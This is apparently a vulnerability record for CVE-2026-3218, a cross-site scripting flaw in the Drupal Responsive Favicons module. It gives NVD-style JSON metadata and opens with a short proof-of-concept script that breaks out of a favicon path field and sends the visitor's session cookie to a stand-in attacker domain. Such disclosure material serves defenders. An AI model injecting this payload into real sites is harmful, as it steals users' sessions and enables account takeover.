CVE-2026-3218

<!-- PoC for Drupal Responsive Favicons XSS Context: Injecting into a configuration field (e.g., Favicon path) --> "><script> // Attempt to capture the current user's session cookie var request = new XMLHttpRequest(); request.open('GET', 'http://attacker-controlled-domain.com/log?cookie=' + encodeURIComponent(document.cookie), true); request.send(); </script>

{"cve": {"id": "CVE-2026-3218", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:23.050", "lastModified": "2026-03-31T19:25:57.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Responsive Favicons allows Cross-Site Scripting (XSS).This issue affects Responsive Favicons: from 0.0.0 before 2.0.2."}, {"lang": "es", "value": "Neutralización incorrecta de la entrada durante la generación de páginas web ('cross-site scripting') vulnerabilidad en Drupal Responsive Favicons permite cross-site scripting (XSS). Este problema afecta a Responsive Favicons: desde 0.0.0 antes de 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pixelite:responsive_favicons:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "2.0.2", "matchCriteriaId": "E6C717C2-41B4-47C2-925E-E8E62A04BCFE"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-019", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}